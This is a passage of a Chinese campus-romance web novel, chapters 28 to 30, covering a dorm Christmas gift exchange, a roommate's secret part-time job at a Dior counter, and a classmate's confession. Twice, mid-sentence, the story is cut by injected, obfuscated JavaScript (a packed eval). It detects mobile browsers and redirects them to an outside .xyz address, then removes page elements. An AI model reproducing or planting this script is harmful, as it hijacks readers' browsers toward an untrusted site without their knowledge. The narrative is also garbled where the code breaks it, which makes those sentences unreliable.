凌静宜拎着纸,站在地毯中间慷慨激昂,跟刚刚冲进我房间判若两人——没有迟疑,没有犹豫——仿佛要去炸碉堡一样。 隔壁宿舍的姑娘过来敲门借衣架,一脸震惊地看着我们如同五四青年爱国主义一般的宣讲:“作为316宿舍的首个圣诞节,我们的原则是玩得开心,吃得满意。对于本次和活动的建议,欢迎大家踊跃发言。” 陈梦晓估计正在打游戏的兴头上,嫌沙发太挤,端着电脑一屁股坐在地毯上,猫着腰继续用鼠标快速点击。无论问她什么,她都“嗯”,“啊”,“好”,气得凌静宜一个箭步冲到她面前,一把抢过鼠标,“陈梦晓,你就不能认真点听我说话吗?!” “卧槽,爆头了。”小陈哥发出一声哀嚎,把电脑往前一推,瞪了一眼凌静宜,气呼呼地哼出一句“这下你满意了!” 我担心陈梦晓暴走,但她只是忿恨地嘟囔了两句“法西斯”;凌静宜的脸色也不好看,但总算相安无事。 讨论往下推进,顺利且无聊,我的注意力涣散。即将失去耐心时,刘小叶抛出了一个我感兴趣的议题。 28. 第 28 章 刘小叶提议我们互相赠送礼物,郑筱一惊,脸色苍白。凌静宜挑挑眉毛,显示她感兴趣。 在我看来,圣诞节新年生日纪念日等等节日,别的都不是主角,只有礼物才是期盼的重头戏,仪式感的巅峰——这是收获惊喜或失望的时刻,它决定了节日最后以怎样的心情收尾。 这大概是迄今为止刘小叶提出的最好的一个提议了——我是一个异常热爱礼物环节的人,或者说,我实际上是热爱惊喜的那一类人,只是惊喜不常有:每年我爸的礼物都是包包,我妈的礼物不是护肤品就是首饰,差别只是今年收到什么牌子,乏味可陈。唯一值得期待的礼物来自李离。 我开始回想这几年收到和送出去的礼物:她去年送了我一副降噪耳机,前年是一整年的《Vogue》杂志,再前一年是一只可以录音的小熊公仔……这些礼物里,有些让我觉得很惊喜,而有些让我觉得“这到底是什么玩意儿”;我去年送了她一支号称可以美白牙齿的飞利浦电动牙刷,前年是一个可以在黑暗里补妆的镜子,再前一年是什么,我已经不记得了,大概还是一件黑科技产品。 李离说如果用礼物来检验友谊的话,我大概已经被她清除出好友名单了——对于一个从来不化妆的人来说,就算那个镜子在黑夜里放出太阳一般的光芒,也没什么鬼用。我深刻地检讨了一下自己买礼物的初衷:极大地满足了我对于黑科技的好奇心,决定做出改变,给她准备了一件实用的科技产品——就在她确定要来W市的那天,我把从网上订购的智能管家Google Home派送地址改到了学校。 它看上去像一个便携式小音箱,但功能远远超过一个普通音箱。它可以播放音乐、开灯、开电视、遥控咖啡机机,联网后还能帮你把想要的东西放进购物车,告诉你明天的天气怎么样,红酒洒在衣服上要怎么办……总之它能够让生活变得便利和有趣。如果你愿意的话,甚至你可以让它唱着歌叫你起床,无论是你打算用《费加罗的婚礼》还是《最炫民族风》,都能够被满足……听上去是不是超炫酷?我收到之后才发现自己忽略了一点:这个意义非凡的礼物要跟智能家居联在一起才有用,可大学宿舍除了床就是书柜,毫无用武之地。算了,她也许可以带回家用? 李离看了我一眼,心花怒放地宣布“我放弃和小西交换礼物的机会。”,她表欢畅,像极了便秘了一星期终于拉出来。 刘小叶好奇地问:“她送过你什么奇怪的东西吗?比如什么玄幻水晶球之类的?” “那倒没有……”李离耸耸肩,拨了一下额头前寥寥可数的几根刘海,说:“你知道的,一直收同一个人的礼物会有点……” 我接过她的话茬,“很无聊。” “看来你们俩早就相看两生厌了。”凌静宜做了总结陈词,“那不如我们今年随机好了,不搞互送礼物了。” 凌静宜提出的方案是大家把礼物放在沙发旁边,这样的话拿到什么样的礼物全凭运气。 刘小叶和许苑薇建议如果抽到不喜欢的礼物,可以跟想要的人互换。当然不限定换多少次,直到换到自己满意的礼物为止。司马昭之心! “把自己想要的礼物写在纸条上吧,挨个儿抓阄……”陈梦晓盘着腿,头也不抬——她又开了一局游戏,这一次凌静宜装作没看见——陈梦晓敲着键盘,“你上呀,断他后路!!我靠,猪队友……”她把电脑往外一推,靠在沙发上,“老子又挂了……”然后,她端坐起来,跟刚才判若两人,说:“抽到什么就买什么,这样的话就不会有不想要的东西了。” “不是抽到什么就收什么礼物吗?”刘小叶的脸上写满了问号。 “你是猪啊……刚刚不说了,礼物放沙发边上自己拿。抓阄是买礼物的,避免一堆礼物里啥喜欢的都没有。”陈梦晓很不高兴,语气很冲,似乎还没从游戏的挫败中缓过来。 “那不是没有惊喜了?”我提出异议。 陈梦晓还没回答,凌静宜倒是做了决定,“惊喜和想要的礼物,两者只能选一个。有得有失,很公平。” “如果抽到买不起的怎么办?”许苑薇苦着脸戳自己的手指,“我的生活费没剩多少了。” “别闹了,许许,你肯定能拿到奖学金。”刘小叶表情夸张得像是中了千万大奖一样,“那可是一笔巨款!” 许苑薇的注意力马上被奖学金吸引了,她缠着刘小叶问奖学金的事情,比如获得奖学金需要什么条件啦,奖学金大概有多少啦,什么时候会发啦。 凌静宜有些不耐烦,她回过头愤怒地对我说:“小西,她们知道自由散漫是可以被枪毙的吗?” 刘小叶和许苑薇互相对望了一眼,很识相地把话题转回到买礼物上,好像刚才跑题的两个人不是她们。 “我们刚才说到哪儿了?”刘小叶装模做样地说:“小陈哥建议抓阄买礼物,我觉得很有建设性。” “礼物价值不能超过五百块。”凌静宜看了刘小叶一眼,跳过她宣布规则,“许苑薇,OK吗?” 许苑薇点点头,她平时除了吃饭买书,基本不买衣服,不买化妆品,护肤品用的是郁美净和大宝,最大的爱好就是收集文具。一个月1500块的生活费,手里还是有结余的。 “老天保佑,千万别让我抽到凌静宜的纸条。”刘小叶在抽签之前念念有词。 “老天保佑,让我抽到凌静宜准备的礼物。”陈梦晓学着她念念有词。 大家七嘴八舌地讨论现在网购不一定能及时送货,我们还是得去市区一趟。不过为了保持礼物的神秘性,我们需要分开行动。 “你们不用给我准备礼物了。”站在冰箱旁边的郑筱突然说:“我还有事情,不跟你们一起过圣诞了。” 刘小叶一脸暧昧地问:“哎?郑筱,你不会是交男朋友了吧?” 我们一齐望向她,她的脸色惨白,耳朵涨得通红:“没有……刘小叶,你别瞎说。我……真的有事儿……” “有什么事情不能推掉啊?”刘小叶跑到郑筱身边,挤眉弄眼,“老实交代,要是跟男朋友约会,我们可以放过你……”她周围看了一圈,像是征询大家意见一样,其实不过是拉上我们做八卦的背书,“对吧?” 郑筱的脸上一阵白一阵红,她两只手牢牢地扣在一起,右手的食指不安地抠左手。 “刘小叶,别勉强她。”凌静宜有点不高兴,“我没有提前告诉大家,别人有安排了也很正常。” 许苑薇好心地询问:“你是跟别人约好了吗?不能邀请他一起来吗?” 郑筱咬了咬嘴唇,然后松开,似乎想说些什么。最后还是什么都没说,微微张开的嘴唇上泛着惨白的光泽。 就在刘小叶劝说郑筱“别扫兴嘛”时,我的电话响了。我看一眼来电显示,是我妈。 我接起来,往房间里走,耳边响起我妈的魔音贯耳,“你个没良心的小坏蛋,去了学校连妈都忘了吧?!电话都不打一个!!” 我不好意思地摸了摸头发,除了刚到学校时打了个电话报平安之外,我还真是没主动给爸妈打过电话。而且每次她打电话来,如果旁边有人,我总是急匆匆聊几句就挂掉。 “妈,我不是忙吗,你都不知道大学的课程有多难。”我脸不红心不跳地扯谎。 “能有多难?” 我吐了下舌头,差点忘记了我妈可是巴黎国立美院毕业的高材生。 “你跟同学相处得怎么样?圣诞节你回来吗?要不让你爸派飞机去接你?”妈妈在电话那头连珠炮一样地发问。 我被问得一阵懵,以往每年圣诞节,我基本是一个人在家,跟我的书或电影一起过节。圣诞节,对于我爸来说,是各种商务宴请的另一个代名词;而我妈,不是陪我爸出席宴会,就是去同事组织的聚会。所以不能怪我怀疑电话那头是不是我亲妈。 “喂……周-小-西,你在听吗?”我妈的语气异常温柔,这意味着如果再不回答,她将有超过一百零八种方法让我死得很难看。 “别别别,我不回来,圣诞节我有安排了。”我赶紧连摆手带摇头,好像我妈能看见一样。 “真是儿大不由娘……”我妈叹了口气,“既然你不回来,我跟你爸去看你好了。” “哎……别,你们别来。”我吓得小心脏一阵乱跳,要是爸妈来了,我不就马上穿帮了?!我爸平时穿的都是Brioni手工定制,更别提我妈了,就算她不穿Dior,Armani和Chanel,也一定会背刚入手的Hermes限量款包。还有她一直戴的百达翡丽手表……难道我要跟刘小叶她们说,我爸妈是超A货的忠实拥护者?就算能忽悠得了她们,也绝对糊弄不了凌静宜。 我不由打了个寒颤。 “你是不是在学校闯祸了?”她提高了声调。 “妈妈,我又不是闯祸精……你跟爸爸都那么忙,就别来看我了。我一切都挺好的,还交了新的朋友。” 妈妈在电话里尖叫了一声,“交了新朋友?男生还是女生?” 我的耳膜被震得嗡嗡直响,赶紧把电话拿开。过了两秒钟才敢重新贴上话筒,“妈妈,形象……注意形象。” “你个死小孩,是不是交男朋友了?”她丝毫没降低音调。 我妈平时优雅高贵大方,是如假包换的贵妇,我绝对是让她破功的不可控因素。我敢保证,除了我爸和我之外,没人知道我妈还有这么一副七大姑八大姨的样子。 “我跟你爸更得来了,得看看未来女婿合不合格。” 我瞬间被雷得外焦里嫩,我妈在学校教书绝对是对人才的极大浪费,我终于明白我写作的天赋是从谁那里继承来的了。 “没有,没有。我交的朋友都是同一个宿舍里的。”我赶紧澄清,要不然明天早上睁开眼就能看见我亲爱的妈。 “这样啊……”我从她语气里居然听到了失望是怎么回事?“那是不是元旦也不回来了?” “妈,再过两个月就放假了,我还要准备考试……” “那太好了!我跟你爸好久都没二人世界了,那我们今年就去欧洲跨年了。”我妈喜不自禁地说:“果然还是孩子大了好。” 我心里默默吐槽——我大概十岁之后,全家人就没一起跨过年吧? 老妈嗔怪地说,“算了,你放了假就赶紧回来,别在外面野。” “知道了,母上大人。”脑海里突然冒出刘小叶挂她妈电话之前的称呼,一不小心就从嘴里溜了出来。 “这孩子,学会贫嘴了……跟你那些室友学的?”停顿了一下,妈妈的声音突然欢悦了起来,“这样好,以前都没个小孩子的样子……” 挂了电话,我轻轻地吐了吐舌头,幸好打消了我妈的念头。 “小西,你在干嘛呢?”有人拍了下我的后背,我差点吓得跳起来,“吓死我了,你走路都没声音的?” “你是不是干什么坏事了,一脸心虚样。”刘小叶贼兮兮地笑着,“跟谁通电话那么入神,连我进来都没听见。” “想什么呢?我妈的电话。”我心不在焉地回答。 刘小叶递给我一张纸条,说:“我们抽完签了,最后这张是你的。” 我打开一开,上面写着Dior口红(色号:999),赫然凌静宜的字迹。毋庸置疑,这大概是凌静宜愿望清单上最便宜的礼物了。 “快说,你们是不是趁我不在做了手脚?”我凶神恶煞地装作要掐她的脖子,她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997364|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边躲一边笑,“运气不好哪能怪我们呀!” 我跟刘小叶的掐架被手机铃声打断了。来电人是凌静宜,我接起来,听见她在电话里说:“你们磨蹭什么?再不走天都要黑了。 从房间出来,客厅里一个人都没有了。刘小叶告诉我尽管她软硬兼施利诱威胁,郑筱还是不跟我们一起过圣诞。 走到校门口时,已经有车停在那里了。 “哇塞,太酷了。凌静宜,你居然有车,还会开车!偶像,我崇拜你……”刘小叶一顿狂轰乱炸。 Jacob下车拉开了车门,把钥匙交给凌静宜。 “坐不下那么多人。刘小叶,你跟Jacob打车吧。” 刘小叶一副欲哭无泪的表情,委屈巴拉地说:“为什么受伤的总是我?” 事实证明,真正受伤的人是我。如果凌静宜想要的礼物能用钱轻易买到的话,大概也就不会在她的礼物清单上了。我跑了三个商场,都被告知Dior999这种热销色号早已断货。在我几近绝望的时候,Dior专柜的小姐面无表情地跟我说,“你去IMG商厦的专柜看一看,偏远的商场可能还会有货。” 天快黑了,微信弹出一条消息,是刘小叶,“小西,你买好东西了吗?要不要一起回去?” 我叹了口气,看来她的采购过程非常顺利,“你先回去吧,我还没买到礼物。”想了想,我加了个哭泣的表情,发了出去。 “小姐,我要844号色。” “不好意思,这个色号已经断货了。” “没有了?那她手里拿着的是什么?!” “小姐,那个是客户预定的,这个色号真的没货了。不然您试试28号色,也是畅销色。” “什么没有了?你明明手上拿着一支,为什么不卖?我是Dior VIP,你知道我一个月在你们店花多少钱吗?把你们店长叫出来!” “小姐,就算店长来了,这支也不能卖给您。”柜姐稍稍提高了声调。 这个声音听上去很熟悉,我一转头,看到了郑筱。她正对着我,手里举着一支口红。 看到我,她的眼睛里闪过一丝慌乱。 “你什么态度?还冲我嚷上了?!你叫什么名字,我要投诉你!”那个胖女人扭着身体要去拽郑筱的名字牌。 她出于本能护住了自己的胸前。旁边另外几个柜姐站在旁边,像看笑话一样地看着她。 胖女人不依不饶地嚷着:“挡什么挡?把你领导叫出来。” 一个画着一脸浓妆已经看不出本来面貌的柜姐突然说:“她叫郑筱,人家还是大学生呢。” 我快步走上前去,隔开了胖女人,对郑筱说:“你好,我刚刚跟你说要一支999,还没找到吗?” “你怎么回事?没看到我在跟她说话吗?”胖女人的眼珠子快瞪出来了。 “Dior是你家开的吗?又不是只有你一个人买东西,你知道我每个月在Dior花多少钱吗?” 这个时候店长出来了,她赶紧过来调解,“今天平安夜,大家来购物都是开开心心的。李小姐,844号确实断货了。您试试28号色,您皮肤这么白,这个颜色最称您了。”然后,她狠狠瞪了郑筱一眼:“你会不会工作?客人不是要买999,你还愣着干嘛?” 郑筱蹲下来在下面的柜子里找货,我站在她旁边,问:“你说的有事儿,就是打工?” 她别过头,轻轻地说:“小西,你能帮我保密吗?” 我没说话,她的声音低了下去,“我已经避开市区的商场了,没想到在这里还会碰到你。” “市区专柜断货了,她们建议我到这里来买。”我假装很轻松地说:“我抽到了凌静宜要的礼物。” 她粲然一笑,“难怪你买这么热门的色号。” “你最近早出晚归,都在这里工作?”我压低声音,用只有我们两个人能听见的声音问。 就在我以为不会等到答案的时候,听到她微弱低沉的声音,“不仅仅在这里。我……找了三份工作。” 突然,我不知道该说什么。 “您拿着发票到前面柜台付款,往前两个柜台左转就能看到付款处了。”她挤出一个微笑,“我帮您包起来,您付完款回来就可以拿了。” 我离开商场的时候,她忙着招呼另一位客人,我看着她向客人弯腰的身影,心里突然酸了一下:在学校里,她是很多男生眼里的女神。如果他们看见她现在的样子,是会同情还是鄙夷?抑或视若无睹?我是不是应该装作没有看见她?也许比起我帮她,她更愿意我没注意到她吧。 走出商场,天全黑了。天空中飘起了细碎的雪花,夹杂在小雨里重重地坠落,落在脸上很凉。一大颗雨滴直直地滴进衣领,我缩了缩脖子。冷风裹着冰雨,我打了个颤,把羽绒服的拉链拉到最上面,揉了揉鼻子,打了个喷嚏。努力想摆脱突如其来袭击我的情绪低点,但脑子里总是不断回闪郑筱委屈的面孔。 我们都是伪装者,谁又比谁高尚?她瞒着我们打工是怕我们看不起她,我瞒着所有人又是为了什么?我们努力想做所谓的自己,但那个“自己”其实是不是只是别人眼中的“自己”?我们真的知道自己的灵魂是什么颜色吗?如果我们都是纯白的灵魂,洁净到无所畏惧向所有人摊开一切,会不会不那么寂寞? 寂静无声的风,你们能不能告诉我,没有秘密的人生是不是会让人更加幸福? 悄然寡言的雨,你们能不能告诉我,标榜爱我们的人是不是会接受所有的不堪? 沉默不语的雪,你们能不能告诉我,为了自己活着是不是意味着不在意任何人的眼光? 这一切,是不是永远没有答案? 29. 第 29 章 运动会落下帷幕,圣诞如期而至。 昨天回宿舍已经很晚了,我接到快递的电话,说包裹放在了收发室。收发室大爷下班了,我只能今天一早过去拿到了包裹。寄件人是我爸的秘书,寄件地址是JG广场Dior专柜。我拆开一看,是Dior限量版公仔。旁边放着一张小卡片。 看着爸爸给我的圣诞礼物,我轻轻地叹了一口气:我很喜欢,但只能把它藏在抽屉的最底层。据我所知,凌静宜正在满世界找关系买这只玩具公仔。 圣诞节之前的那个周末,她在JG广场逛Dior专柜时一眼看上了它。但店员说什么都不肯卖给她,凌静宜拿出了她自己历史上的最低姿态,“能不能跟买家商量一下,我出两倍价钱。” 店员翻着眼皮,刷得根根分明的睫毛上下翻动,面无表情地回答:“小姐,这不是钱的问题。限量版,不是有钱就能买到的。” 凌静宜快气疯了,她来回走动的频率都要把地毯磨秃了,“她是在嘲笑我没有购买资格吗?!” 事实上,这只全世界只有1000只的小熊,单单以我们自己的身份来说,都没有资格购买。我都不知道我爸怎么今年怎么会送公仔给我,也许他换了秘书?不管怎样,比起我妈在微信上给我转了三笔两百块之后吐槽转账功能,然后直接往我卡里打了十万块的举动,我爸今年在送礼物上已经表现得很有诚意了。 我准备把小熊和卡片塞进书包里,扔掉盒子。把小熊拿出来,我发现下面还有一张折叠的纸——折成三折的白色信纸,上面烫着金色的Logo,是爸爸公司的专用纸。 原本以为大概只字片语,毕竟每年的卡片上都是“小西,圣诞快乐!”,“小西,新年快乐!”,“小西,生日快乐!”……打开的那一瞬间,我惊呆了——完全没想到居然整整一页手写的信。看着熟悉的字迹和落款“爱你的爸爸”,我突然感觉鼻子有点酸,眼角湿润,在这一刻想回家了。 十二月的空气除了冰冷还是冰冷,我用厚厚的毛线围巾把自己裹得像抢劫犯一样。吸了吸鼻子,怀念Burberry轻薄温暖的羊绒围巾。 走在回宿舍的路上,我想中午是不是应该吃得清淡一些。凌静宜预告了晚餐会十分丰盛。鉴于这一点,刘小叶甚至连早饭都不想吃了,她觉得在这种时候吃包子馄饨之类的食物是对有限胃部空间的极大浪费。 我低着头躲避四面八方不知道从哪里来的风,突然听见有人喊我的名字。声音像是从空旷的山谷里传过来的一样,遥远而模糊。起先以为是自己的错觉,清晨除了操场那边偶尔传过来些许声响,周围安静得如同沉睡的迷幻森林。 苍白浓郁的白雾像一条白蛇一样虚无地游荡,在一望无际的寂静里,我响亮地打了一个喷嚏。在这冻死人的节假日早晨(冬天的九点多在我的概念里跟六七点没什么差别,凌静宜一直鄙视我嗜睡,我反驳她太阳应该从九点钟才从地平线升起),大概只有我这样的神经病才会出来晃荡。为了不引起任何人的怀疑,我等凌静宜完成了晨间阅读,听到她回房间的动静后才偷偷摸摸溜了出来,甚至还绕路去第一食堂买了两个包子。 有人拍了拍我的肩膀,我吓得差点一屁股坐在地上。脑子里浮现出前两天刘小叶硬拉着我看的恐怖片场景——在空无一人的旷野里,一回头看见白衣无头女鬼飘在半空中。 我捂住胸口,小心翼翼地回过头,看见一张像太阳一样清新明媚的面孔,居然是萧楠。他的头发有些潮湿,看上去毛绒绒的,睫毛上沾着细细的小水珠。 “周小西,你发什么愣?”他的笑容就像前几天郑筱收到的向日葵(花里没插卡片,我们都猜是土木系或机械系的直男送的花)。 “惊不惊喜?意不意外?”他像变魔术一样从背后掏出一束花,红玫瑰和白玫瑰交错映衬,我的脑子里倏的冒出一个词——人面桃花。萧楠的五官非常精致,像是上帝一笔一划细细勾勒出来的一样——上天果然格外偏爱某些人。 “惊喜你个大头鬼!惊吓还差不多。”我从恐怖片段的阴影里走出来,没好气地送了他一个白眼。我对萧楠的态度是能躲则躲,但躲不过去我反而坦然(刘小叶总说我是“船到桥头自然直”的那一类),“你怎么知道我会在这?你不是跟踪我吧?” “没有没有……”他有点不好意思,“其实,我这几天都来了铭盛。你没看到我的消息吗?” 我疑似看到过他的消息,但后来忙着买礼物,完全没想起来回复他——每个人的脑子里都只能装下对自己来说重要的事情,至于不重要的事情,忘了也没什么大不了的嘛。 萧楠把花递到我面前,“我也不知道你喜欢什么花,只能把你可能喜欢的都送一遍。” 我的脑袋嗡嗡作响,好像是这么回事——每周我收到的花都不一样,上周是什么来着?好像是香水百合(我对植物的认知度极低,除了最常规的玫瑰、百合,其他的一概不认识,全靠许苑薇和郑筱普及植物学)。 “你别再送花了。”我差点忍不住告诉他,我们宿舍的垃圾桶都快被鲜花占满了。 “女生不都喜欢花儿?”萧楠异常纳闷,叶翔告诉他,送了两个月的花之后,凌静宜主动给他打电话了。当然,他不知道的是,电话的内容是“姓叶的,难道要让我说火星文你才能停止送花吗?!” 真不知道他和叶翔是什么物种,我和凌静宜已经十分明确地告诉他们不要再送我们花了,然而这两个人像是听不懂中国话一样,把一周送一次花更新成了一周送两次。 许苑薇从学术层面揣测这跟雄性动物的征服欲有关,凌静宜翻了个白眼说:“幸好他们没在我们宿舍门口撒尿划地盘。” 然后,我做了一件想一巴掌拍死自己的事情。 我指着那束花问:“如果我不收的话,你准备怎么办?” 他露出了那种很多女生都抵抗不了的笑容,白白的牙齿在清晨的空气里像是上好的瓷器一般泛出莹白的光泽,缓慢坚定地说:“那我就抱着花站在你宿舍门口,直到你收了为止。” 这一刻,我就像是一只掉进了自己挖的坑里的困兽,不知如何应对才好。 他从大衣左边的口袋里掏出一个盒子,往我手里递送,“圣诞快乐!这是给你的礼物。” 我吓得一直缩手——虽然高中时期总有些零食莫名其妙出现在我的桌子抽屉里,可我没有面对面收过男孩子送的东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997365|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “本来想把东西放你们快递收发室,正好听到你今天早上会来取包裹,所以……”他把盒子塞到了我手里,然后心满意足地把手放回了大衣口袋。 “我不能收你的礼物……”我慌乱地想把盒子塞回给他,却不知道该往哪儿塞。 我大概是脑子被门挤过了,在这手忙脚乱的窘迫时刻,我又问了一个想把自己舌头咬下来的问题:“你什么时候就等在这儿了?” 趁着我伸着手,他气定神闲地把玫瑰花塞进了我臂弯,“大概七点多吧……那个时候你们收发室还没开门……”他顿了一顿,“我怕来晚了。” 如果这个时候有人看到我,肯定觉得我像一个超可笑的小丑——气鼓鼓地举着花和礼物,手脚失衡一样想往面前的人手里送。 他两只手都插在大衣口袋里,笑眯眯地看着我,像一只奸计得逞的大尾巴狼。 我没注意到他的脸突然红了起来。 他嗫嗫地问:“你今天有安排吗?” “啊?什么?”我还在苦恼怎么把花和礼物还给他;不排除因为早起打破了生物钟导致智商走低,总之我压根没意识到他想干嘛。 后来刘小叶认为如果这个世界上有诺贝尔迟钝奖,那我是当仁不让的获奖者。 他一脸无奈,混合着羞涩的面孔在清晨清冽的空气里尤为动人,“如果你没事的话,我想约……” 感谢苍天,今天一直处于掉线状态的脑子终于上线,我镇静地打断了他,“我们宿舍一起过圣诞。”我看了他一眼,接着说:“早就约好了的。” 我的语气十分轻快,就算不是细致敏感的人大概都能从中听出如释重负。此时此刻,我的内心升腾起对凌静宜的感激之情。幸好她早就做了安排,不然我真不知道要怎么回答这种送命题。 “那……”他的声音低了下去,虽然极力掩盖,仍然能听出些许落寞,“你玩得开心……” “没其他事的话,我先走了。”我的心里打鼓,谁知道再多待一分钟,又会出什么幺蛾子。果然人比人气死人,如果是凌静宜,叶翔大概被她修理得满地找牙了,哪会像我这么狼狈。 我转身就走,往前走了快300米,心想要在哪儿把花儿扔了。 “喂……周小西……”萧楠喊了我一声。 “你还有事儿?” 我还没转过身去,就听见一声吼:“我喜欢你!很喜欢你!” 我的妈呀,萧楠怕是疯了吧!!!我靠!平时看着像个斯文人!我惊慌失措地四处看,生怕从哪里窜出来个认识的人。我像屁股着火了一样向前狂奔,生怕他追上来当着我的面再说一遍。 萧楠看着头也不回飞奔着消失在白雾里的姑娘,双眼像是情人坡下面早已结了冰的湖水,甚至有一颗颗像是冰凌一样的东西将从眼睛里滚出来。插在大衣口袋里的手,紧紧地捏住了圣诞演唱会的两张票。 此时,我并不知道早上所碰到的这一切,跟今天将要遭遇的其他事情比起来,好比是序幕或序章一样的存在。 当然,我也不知道,我的逃跑在萧楠的眼里成为了一个哲学问题,类似于“我是谁?”“我从哪里来”,“我将要往哪里去”。 30. 第 30 章 世界的中心在哪儿?生活的意义是什么? 每个人都有自己的一套理论,不管是否合理,每个人也都会坚持自己才是对的。 仅仅如世界的中心是哪儿这样的问题,一千个人就能给出一千个答案。拿破仑说,如果世界是一个国家,那么它的首都必然是伊斯坦布尔。当然,生活在W市的人才不会买他的账。别说伊斯坦布尔,就算是纽约、伦敦和巴黎,在W市人的眼里,也未必赶得上日新月异的W市。 撇开世界这么大的范围,就算限制在W市,也依然会出现五花八门的答案。 在那些衣香鬓影每天都混迹于各种时尚派对的人眼里,无疑JG广场才是W市的中心;尽管从来都不打折,丝毫不妨碍她们刷爆自己的信用卡,把象征着品味和地位的商品一件件放进自己租来的小单间,然后在下个月分期还款;在那些商业精英和成功人士的眼里,只有金融街才能算W市的中心。在那里,每天数以亿万计的钞票仿佛只是一个数字,几乎隔三岔五就会签订动辄千万的合同或启动大型项目;而在平常人眼中,最繁华的地段无疑就是中心。或许在家周围方圆5公里内的商业大厦,对他们来说都能算得上是这座城市的中心。 这个城市以摧枯拉朽的方式不断向前发展,一年前令人瞩目的最高楼在今天就成了平常,永远有新的建筑物拔地而起,新的商业圈不断形成。今天的中心,可能到了明天,就只是过往的一个繁华符号。 更别提说像“生活的意义是什么”这样形而上学精神层次的问题,每个人都有自己的价值观,每个人都有自己的中心,每个人都有自己的伊甸园。 如果以前有人问萧楠这两个问题,他一定会一脸茫然地看向你,然后毫不犹豫地让你有多远就滚多远。对他来说,他的人生一帆风顺,从来没经历过任何挫折,他的中心是他自己的小世界,他的人生意义是把每一天都过得有滋有味。而今天,他遭遇了人生滑铁卢——周小西,刚刚像一只受了惊吓的小鹿,从他面前逃走了;曾经对女生的吸引力在这一刻仿佛成了洪水猛兽。他内心的失落像铺天盖地的防空警报一样在耳边轰鸣,不知道自己该去哪里,不知道人生的意义在于什么,也不知道自己的小世界是为了什么而存在。 人类,就是这样一种动物,原本完全以自我为中心;但在某一刻,有些人有些事,给了他们当头一棒,让他们思索起那些原本习以为常的存在——比如先有鸡,还是先有蛋。 萧楠沉浸在自己的精神世界里,他定定地站在那里一动不动,像一尊入定的佛像。这个时候,电话响了,把他拉回了现实当中。他被自己吓了一跳,什么时候开始他会思考这些形而上学的哲学问题,他的人生原则不是“人生得意须尽欢”吗? “你在哪儿呢?”叶翔在电话那头喊了一声,“没事的话过来陪我去买衣服。” “你怎么跟个姑娘一样,成天就想着买衣服?”萧楠嘲讽了他一句。 然后,萧楠想到,大概叶翔也没活动,只能约他逛街了。他心里稍微平衡了一点。 “别废话,先到办公室来找我。”他听到手机里一阵按键的声音,“地址我发给你了,赶紧过来。” 萧楠看着地址,揉了揉眉心,叹了口气——他现在离市中心开车也得一个多小时。 他走进那个仿佛没装修的后现代颓废工业风办公室,直至叶翔向他挥手致意时,仍然不敢相信这是叶翔工作的地方。虽然算不上简陋,但跟气派、奢华扯不上关系——在他的想象中,叶翔没把办公室搞成古堡和宫殿,简直不可想象。 他死都不会忘记叶翔装修他在W市的第一栋房子时的盛况。那是一栋位于江边的高档公寓,在48层,200多平方。虽然跟他后来买的几栋房子相比,这套顶多算是中档公寓,然而它的装修绝对可以算是高配:所有家具都是从国外用一整个集装箱装过来,当他跟着叶翔去那个远到让他怀疑人生的货运仓库提货的时候,萧楠觉得他的人生观受到了冲击——怎么会有这么偏远和荒凉的地方?!清点仓单上对应的木箱,花了接近两小时;把货物装上事先预约的大卡车,花了整整四个小时。由于交通限制,等到三更半夜才由三辆大卡车偷偷摸摸地运进内环,工人光卸货就卸了快四个小时。看到货物仓单的时候,萧楠觉得叶翔大概是疯了,而当木箱被打开后,萧楠确定叶翔是疯了——德国进口的水晶灯,绕着一圈祖母绿宝石;Kenzo孤品沙发和书桌;意大利的雕塑;还有大幅的油画,看上去很像某位新锐画家的作品。 “你怎么不把美国自由女神像也搬回来?”萧楠一边打着哈欠一边在货物单上打勾,他计划两年修完所有课程,日以继夜泡在图书馆里的结果就是只要给他一个平躺的机会,他分分钟都能睡过去。 “昨晚又熬到几点?”叶翔看着萧楠眼底的淤青,对他嗤之以鼻,“你可悠着点,再没命熬夜,别说学分,连小命都交代了。” 萧楠胡乱做了个手势,大体是“你少管我”之类的意思。 不去考虑价格,光是怎么把这些来自不同地方的家具装进同一个集装箱,就堪称一个奇迹。萧楠抑制不住自己的好奇心问叶翔时,他正瘫在那张孤品沙发上,翻看一本全英文的艺术杂志,眼皮都没抬一下。 “很方便啊,先把所有的东西都送到香港,然后集中装箱进口。找个有经验的货运代理就能搞定。” “你老爷子知道你这么败家吗?” “我又没花他的钱,他管得着吗?” 直到今天,萧楠都不知道叶翔从哪儿弄来的钱买房子。他甚至私下揣测过,难道这小子从事什么不可告人的非法勾当?莫非他学法律就是为了钻漏洞敛财? 房子装修好之后,叶翔找他开暖房Party,那盏水晶灯简直快闪瞎了他的眼,整一个欧美奢华风。 “你怎么不在墙上凿个壁炉?这样就能假装在欧洲度假了。”在叶翔第N+1次摩挲那块纯白长绒毛毯时,萧楠忍不住嘲讽。 当然,这间公寓跟他后面买的房子相比,完全是小巫见大巫。就在同一年,他买了江对面的临江,应该算豪宅吧,48层,小复式结构,大概900多平方,可以俯瞰整个W市。当江两岸的灯亮起来时,流光溢彩。第二年,他买了市中心的一栋别墅,位于慕康路,据说以前有名人住过,装修风格无一例外都是奢华风。 